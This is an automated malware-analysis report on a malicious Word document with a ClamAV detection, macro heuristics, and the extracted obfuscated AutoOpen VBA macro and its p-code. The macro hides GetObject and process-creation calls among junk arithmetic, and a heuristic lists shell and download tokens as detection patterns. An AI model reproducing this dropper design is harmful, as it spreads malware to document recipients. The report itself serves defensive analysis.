Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2aa5b92ab1888e6e…

MALICIOUS

Office (OLE)

164.8 KB Created: 2019-03-22 18:01:00 Authoring application: Microsoft Office Word First seen: 2021-02-09
MD5: 097cc87cf9ec19e062ac4909cf553f9d SHA-1: d90f29a3492d6fe3829fb596bc9404f818e6193d SHA-256: 2aa5b92ab1888e6ede4e7b4cc35a249fd94df6f78092e3d03f1e63287b6348cb
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Dsfj-6905983-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dsfj-6905983-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set SQoZAUx = GetObject(uADBDXA.Tag + uADBDXA.iA1ABA + uADBDXA.Tag)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16227 bytes
SHA-256: 148d8d05356e71ac156de6c19af7d3716aa5939c27f78070248752df3902ca8c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NDUZUDCX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uADBDXA"
Attribute VB_Base = "0{62B38C25-0033-49F3-95EC-0D158EFCAC20}{E879B163-C867-4F25-BE54-66A3D203E365}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "SXQAABA1"
Sub autoopen()
On Error Resume Next
   If RxAXAUAw = EDkGAAG Then
   UQZAQGA = CVar(zXokQDB4)
   IADAUUBD = (576192634 + Rnd(sxBAAA * _
Tan(817546507 / Chr(694792892 / CDbl(OBBAA4C) * GAUCQGxD / CDbl(115013455)))) * 929362638 * _
Atn(185010481 / Oct(577043154) - 584557656 * Int(EXxD_AAA)) * (408989228 - Atn(DAAGA4AA)))
   IDDD1Q = Int(wCUcAXBB - _
RDo1Ao4w - 226360544 * Int(454976054))
End If
   If TUkk_o4x = hACUAG Then
   uBAxQAk = CVar(aBXXkcx)
   zQAAUXB = (521631067 + Rnd(kAAoC4 * _
Tan(335676917 / Chr(618771184 / CDbl(s_xQZDA) * aACAUUoB / CDbl(93545512)))) * 440545931 * _
Atn(230000577 / Oct(478677533) - 27817860 * Int(wAXcA4)) * (793475847 - Atn(wB_ZxAAA)))
   cQQUAADx = Int(EBAACA - _
JAAUAAZB - 252257116 * Int(377270864))
End If
Set SQoZAUx = GetObject(uADBDXA.Tag + uADBDXA.iA1ABA + uADBDXA.Tag)
   If hZQAAZ = BwAAxooA Then
   QGGUAowA = CVar(jUDBwQw)
   z1c1AG1 = (819898664 + Rnd(HkA4UA * _
Tan(191873040 / Chr(518680706 / CDbl(hBoQADAA) * LGAAQGDU / CDbl(403455394)))) * 728290244 * _
Atn(343196557 / Oct(70412021) - 788433310 * Int(UcAUAxAc)) * (282186035 - Atn(V_BAxk)))
   sZDxAxA = Int(aZBAAU - _
rQBACG_ - 887129434 * Int(413822518))
End If
   If RZAxUQBD = bAAADAU4 Then
   IxABAA_A = CVar(uABXBZ)
   nBAABQ = (204962268 + Rnd(W__BA1 * _
Tan(790422674 / Chr(782861991 / CDbl(icA1AwQ) * JcU4A_BQ / CDbl(313060419)))) * 516427559 * _
Atn(167080347 / Oct(651402165) - 377029053 * Int(B_UZA_A)) * (392677203 - Atn(SACQZA)))
   V4AAoAD = Int(YAAG1AX - _
qAQAkBA - 451669066 * Int(387949183))
End If
   If lkxQZ4 = GBcX1ZAA Then
   pAADoAAA = CVar(kcACAx)
   KAUGAAcA = (6935806 + Rnd(JAA4ZBXB * _
Tan(362992223 / Chr(251031369 / CDbl(CAoXA1A) * RUQxAk / CDbl(379090451)))) * 311304871 * _
Atn(363025981 / Oct(537440431) - 245356808 * Int(UDDDQUA)) * (443157426 - Atn(W1AABAB)))
   zBBBD4AA = Int(zUQXZA - _
qQAZBQ - 773443399 * Int(105893380))
End If
SQoZAUx.ShowWindow = 395720 - 395720
   If rAUXQkB = vcQG_BA Then
   qkDCAAD = CVar(V1cxZU)
   JxGAABc = (814419617 + Rnd(PQwkxkAA * _
Tan(811472046 / Chr(401854879 / CDbl(pDCoAQ4) * rDcU1c4 / CDbl(921402853)))) * 567870954 * _
Atn(105398717 / Oct(145778895) - 470249302 * Int(Dc11B14o)) * (905106526 - Atn(MBoxkwwU)))
   JwUAAAc = Int(moB1oA - _
mBoC_AB - 58639675 * Int(424431816))
End If
   If kQAX_A = IAAocUQA Then
   pk1xcZ = CVar(jAXoAZA)
   PUXA_BkA = (225453594 + Rnd(DUAZAQ * _
Tan(832509865 / Chr(294577182 / CDbl(qCAxCGA) * wAAcwAxU / CDbl(328317304)))) * 262810570 * _
Atn(172162060 / Oct(218266851) - 742934805 * Int(Tc1UwUGc)) * (695760409 - Atn(XQAZXZQ)))
   VAAZAA = Int(BUADQUG - _
wACAGUo - 759872395 * Int(978132304))
End If
GetObject(uADBDXA.Tag + uADBDXA.mADAAUA + uADBDXA.Tag). _
Create uADBDXA.Tag + uADBDXA.ZUAXAc + uADBDXA.Tag + uADBDXA.XkACCk_ + uADBDXA.Tag + uADBDXA.Tag + uADBDXA.l_CAAoQA + uADBDXA.Tag + uADBDXA.Tag + uADBDXA.icBCAk + uADBDXA.Tag + uADBDXA.UAZAQU + uADBDXA.Tag, EGUXwAAw, SQoZAUx, uADBDXA.Tag
   If BBXAZcc = fUAQwAx Then
   BX4UxAUA = CVar(b1xBkDBU)
   iAADB__ = (999330111 + Rnd(tXAAQ4 * _
Tan(789064218 / Chr(628237637 / CDbl(lDAkDw4B) * jQQA11_ / CDbl(232173736)))) * 534254287 * _
Atn(560364071 / Oct(820053468) - 718684925 * Int(zAwBAZB)) * (948169022 - Atn(vZU4cA)))
   TAAAAAA = Int(cDckcA - _
CcxQkB - 684539587 * Int(364866326))
End If
   If jA1UAA = mDQkAQU Then
   mZQAACZ = CVar(dUBxUQA_)
   cc1DAQk = (517718310 + Rnd(NAxkCA * _
Tan(229618265 / Chr(120891555 / CDbl(wQA1_UAU) * YAADoD / CDbl(441552672)))) * 419170205 * _
Atn(145589771 / Oct(54099788) - 787613207 * Int(S4AUADB)) * (541570087 - Atn(tDQDxA)))
   VQAAAAAA = Int(qcUCBAB - _
j4AU_C - 311065455 * Int(304112092))
End If
   If MAUwU1 = JDAUGCox Then
   kAoAAD = CVar(qQX4_D)
   lkcDoAcA = (695504449 + Rnd(IAXc4GU * _
Tan(144134484 / Chr(183762659 / CDbl(pAkD_AG4) * ZowQxU / CDbl(185170770)))) * 656556887 * _
Atn(648680084 / Oct(462571865) - 638594616 * Int(zw4QBAQ)) * (229841591 - Atn(pAAcQBB)))
   zDGAcw = Int(aZQBAkAA - _
hDGBAAUA - 469206852 * Int(373433126))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/ecdfaca1f06c435aa2e1a0a116771909.bin
' ===============================================================================
' Module streams:
' Macros/VBA/NDUZUDCX - 1106 bytes
' Macros/VBA/uADBDXA - 1157 bytes
' Macros/VBA/SXQAABA1 - 7024 bytes
' Line #0:
' 	FuncDefn (Sub SXQAABA1())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld RxAXAUAw 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld UQZAQGA 
' 	Coerce (Var) 
' 	St EDkGAAG 
' Line #4:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x007A 0x2258 
' 	Ld IADAUUBD 
' 	LitDI4 0xC50B 0x30BA 
' 	LitDI4 0xB2BC 0x2969 
' 	Ld sxBAAA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld OBBAA4C 
' 	Mul 
' 	LitDI4 0xF74F 0x06DA 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xF2CE 0x3764 
' 	Mul 
' 	LitDI4 0x0931 0x0B07 
' 	LitDI4 0xFAD2 0x2264 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xA458 0x22D7 
' 	Ld GAUCQGxD 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xAE2C 0x1860 
' 	Ld EXxD_AAA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St zXokQDB4 
' Line #5:
' 	LineCont 0x0004 06 00 00 00
' 	Ld IDDD1Q 
' 	Ld wCUcAXBB 
' 	Sub 
' 	LitDI4 0xFCE0 0x0D7D 
' 	LitDI4 0x6236 0x1B1E 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St DAAGA4AA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld RDo1Ao4w 
' 	Ld TUkk_o4x 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	Ld uBAxQAk 
' 	Coerce (Var) 
' 	St hACUAG 
' Line #9:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x755B 0x1F17 
' 	Ld zQAAUXB 
' 	LitDI4 0x05F5 0x1402 
' 	LitDI4 0xB2F0 0x24E1 
' 	Ld kAAoC4 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld s_xQZDA 
' 	Mul 
' 	LitDI4 0x6428 0x0593 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x328B 0x1A42 
' 	Mul 
' 	LitDI4 0x87C1 0x0DB5 
' 	LitDI4 0x0A1D 0x1C88 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x7784 0x01A8 
' 	Ld aACAUUoB 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x7B07 0x2F4B 
' 	Ld wAXcA4 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St aBXXkcx 
' Line #10:
' 	LineCont 0x0004 06 00 00 00
' 	Ld cQQUAADx 
' 	Ld EBAACA 
' 	Sub 
' 	LitDI4 0x235C 0x0F09 
' 	LitDI4 0xB250 0x167C 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St wB_ZxAAA 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	SetStmt 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Tag 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd SQoZAUx 0x0001 
' 	Set JAAUAAZB 
' Line #13:
' 	Ld iA1ABA 
' 	Ld hZQAAZ 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	Ld QGGUAowA 
' 	Coerce (Var) 
' 	St BwAAxooA 
' Line #15:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xA928 0x30DE 
' 	Ld z1c1AG1 
' 	LitDI4 0xC010 0x0B6F 
' 	LitDI4 0x7082 0x1EEA 
' 	Ld HkA4UA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld hBoQADAA 
' 	Mul 
' 	LitDI4 0x3DA2 0x180C 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xD3C4 0x2B68 
' 	Mul 
' 	LitDI4 0xC38D 0x1474 
' 	LitDI4 0x66F5 0x0432 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x899E 0x2EFE 
' 	Ld LGAAQGDU 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xD133 0x10D1 
' 	Ld UcAUAxAc 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St jUDBwQw 
' Line #16:
' 	LineCont 0x0004 06 00 00 00
' 	Ld sZDxAxA 
' 	Ld aZBAAU 
' 	Sub 
' 	LitDI4 0x855A 0x34E0 
' 	LitDI4 0x6E36 0x18AA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St V_BAxk 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld rQBACG_ 
' 	Ld RZAxUQBD 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld IxABAA_A 
' 	Coerce (Var) 
' 	St bAAADAU4 
' Line #20:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x79DC 0x0C37 
' 	Ld nBAABQ 
' 	LitDI4 0xE492 0x2F1C 
' 	LitDI4 0x86A7 0x2EA9 
' 	Ld W__BA1 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld icA1AwQ 
' 	Mul 
' 	LitDI4 0xEC43 0x12A8 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x0F27 0x1EC8 
' 	Mul 
' 	LitDI4 0x719B 0x09F5 
' 	LitDI4 0x9BB5 0x26D3 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x01BD 0x1679 
' 	Ld JcU4A_BQ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xC753 0x1767 
' 	Ld B_UZA_A 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St uABXBZ 
' Line #21:
' 	LineCont 0x0004 06 00 00 00
' 	Ld V4AAoAD 
' 	Ld YAAG1AX 
' 	Sub 
' 	LitDI4 0xEC4A 0x1AEB 
' 	LitDI4 0xA27F 0x171F 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St SACQZA 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld qAQAkBA 
' 	Ld lkxQZ4 
' 	Eq 
' 	IfBlock 
' Line #24:
' 	Ld pAADoAAA 
' 	Coerce (Var) 
' 	St GBcX1ZAA 
' Line #25:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xD4FE 0x0069 
' 	Ld KAUGAAcA 
' 	LitDI4 0xD25F 0x15A2 
' 	LitDI4 0x6F49 0x0EF6 
' 	Ld JAA4ZBXB 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld CAoXA1A 
' 	Mul 
' 	LitDI4 0x7613 0x1698 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x22A7 0x128E 
' 	Mul 
' 	LitDI4 0x563D 0x15A3 
' 	LitDI4 0xB0AF 0x2008 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xD908 0x0E9F 
' 	Ld RUQxAk 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x0BB2 0x1A6A 
' 	Ld UDDDQUA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St kcACAx 
' Line #26:
' 	LineCont 0x0004 06 00 00 00
' 	Ld zBBBD4AA 
' 	Ld zUQXZA 
' 	Sub 
' 	LitDI4 0xCF47 0x2E19 
' 	LitDI4 0xCE04 0x064F 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St W1AABAB 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	LitDI4 0x09C8 0x0006 
' 	LitDI4 0x09C8 0x0006 
' 	Sub 
' 	Ld JAAUAAZB 
' 	MemSt qQAZBQ 
' Line #29:
' 	Ld ShowWindow 
' 	Ld rAUXQkB 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	Ld qkDCAAD 
' 	Coerce (Var) 
' 	St vcQG_BA 
' Line #31:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x0EA1 0x308B 
' 	Ld JxGAABc 
' 	LitDI4 0x14AE 0x305E 
' 	LitDI4 0xD19F 0x17F3 
' 	Ld PQwkxkAA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld pDCoAQ4 
' 	Mul 
' 	LitDI4 0x7DE5 0x36EB 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x05EA 0x21D9 
' 	Mul 
' 	LitDI4 0x41BD 0x0648 
' 	LitDI4 0x68CF 0x08B0 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x6F56 0x1C07 
' 	Ld rDcU1c4 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xD45E 0x35F2 
' 	Ld Dc11B14o 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St V1cxZU 
' Line #32:
' 	LineCont 0x0004 06 00 00 00
' 	Ld JwUAAAc 
' 	Ld moB1oA 
' 	Sub 
' 	LitDI4 0xC53B 0x037E 
' 	LitDI4 0x50C8 0x194C 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St MBoxkwwU 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld mBoC_AB 
' 	Ld kQAX_A 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	Ld pk1xcZ 
' 	Coerce (Var) 
' 	St IAAocUQA 
' Line #36:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x261A 0x0D70 
' 	Ld PUXA_BkA 
' 	LitDI4 0x17A9 0x319F 
' 	LitDI4 0xE41E 0x118E 
' 	Ld DUAZAQ 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld qCAxCGA 
' 	Mul 
' 	LitDI4 0xB978 0x1391 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x2BCA 0x0FAA 
' 	Mul 
' 	LitDI4 0xFC0C 0x0A42 
' 	LitDI4 0x7CE3 0x0D02 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x4915 0x2C48 
' 	Ld wAAcwAxU 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x7619 0x2978 
' 	Ld Tc1UwUGc 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St jAXoAZA 
' Line #37:
' 	LineCont 0x0004 06 00 00 00
' 	Ld VAAZAA 
' 	Ld BUADQUG 
' 	Sub 
' 	LitDI4 0xBB8B 0x2D4A 
' 	LitDI4 0x1D50 0x3A4D 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St XQAZXZQ 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	LineCont 0x0004 0F 00 00 00
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd ZUAXAc 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd XkACCk_ 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd l_CAAoQA 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd icBCAk 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld UAZAQU 
' 	Ld JAAUAAZB 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd wACAGUo 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd SQoZAUx 0x0001 
' 	ArgsMemCall mADAAUA 0x0004 
' Line #40:
' 	Ld EGUXwAAw 
' 	Ld BBXAZcc 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	Ld BX4UxAUA 
' 	Coerce (Var) 
' 	St fUAQwAx 
' Line #42:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x913F 0x3B90 
' 	Ld iAADB__ 
' 	LitDI4 0x2A1A 0x2F08 
' 	LitDI4 0x2545 0x2572 
' 	Ld tXAAQ4 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld lDAkDw4B 
' 	Mul 
' 	LitDI4 0xB0A8 0x0DD6 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x12CF 0x1FD8 
' 	Mul 
' 	LitDI4 0x7A27 0x2166 
' 	LitDI4 0x05DC 0x30E1 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x42FD 0x2AD6 
' 	Ld jQQA11_ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xE93E 0x3883 
' 	Ld zAwBAZB 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St b1xBkDBU 
' Line #43:
' 	LineCont 0x0004 06 00 00 00
' 	Ld TAAAAAA 
' 	Ld cDckcA 
' 	Sub 
' 	LitDI4 0x3EC3 0x28CD 
' 	LitDI4 0x6B16 0x15BF 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St vZU4cA 
' Line #44:
' 	EndIfBlock 
' Line #45:
' 	Ld CcxQkB 
' 	Ld jA1UAA 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	Ld mZQAACZ 
' 	Coerce (Var) 
' 	St mDQkAQU 
' Line #47:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xC126 0x1EDB 
' 	Ld cc1DAQk 
' 	LitDI4 0xB259 0x0DAF 
' 	LitDI4 0xA8A3 0x0734 
' 	Ld NAxkCA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld wQA1_UAU 
' 	Mul 
' 	LitDI4 0x8F20 0x1A51 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x079D 0x18FC 
' 	Mul 
' 	LitDI4 0x860B 0x08AD 
' 	LitDI4 0x7F4C 0x0339 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x0617 0x2EF2 
' 	Ld YAADoD 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xB427 0x2047 
' 	Ld S4AUADB 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St dUBxUQA_ 
' Line #48:
' 	LineCont 0x0004 06 00 00 00
' 	Ld VQAAAAAA 
' 	Ld qcUCBAB 
' 	Sub 
' 	LitDI4 0x7B6F 0x128A 
' 	LitDI4 0x61DC 0x1220 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St tDQDxA 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	Ld j4AU_C 
' 	Ld MAUwU1 
' 	Eq 
' 	IfBlock 
' Line #51:
' 	Ld kAoAAD 
' 	Coerce (Var) 
' 	St JDAUGCox 
' Line #52:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x8E41 0x2974 
' 	Ld lkcDoAcA 
' 	LitDI4 0x5154 0x0897 
' 	LitDI4 0xFEE3 0x0AF3 
' 	Ld IAXc4GU 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld pAkD_AG4 
' 	Mul 
' 	LitDI4 0x7B52 0x0B09 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x4357 0x2722 
' 	Mul 
' 	LitDI4 0x1294 0x26AA 
' 	LitDI4 0x4959 0x1B92 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x2E38 0x2610 
' 	Ld ZowQxU 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x1AB7 0x0DB3 
' 	Ld zw4QBAQ 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St qQX4_D 
' Line #53:
' 	LineCont 0x0004 06 00 00 00
' 	Ld zDGAcw 
' 	Ld aZQBAkAA 
' 	Sub 
' 	LitDI4 0x8744 0x1BF7 
' 	LitDI4 0x2326 0x1642 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St pAAcQBB 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	EndSub 
' Line #56:

Open this report in the interactive analyzer, or submit your own file for analysis.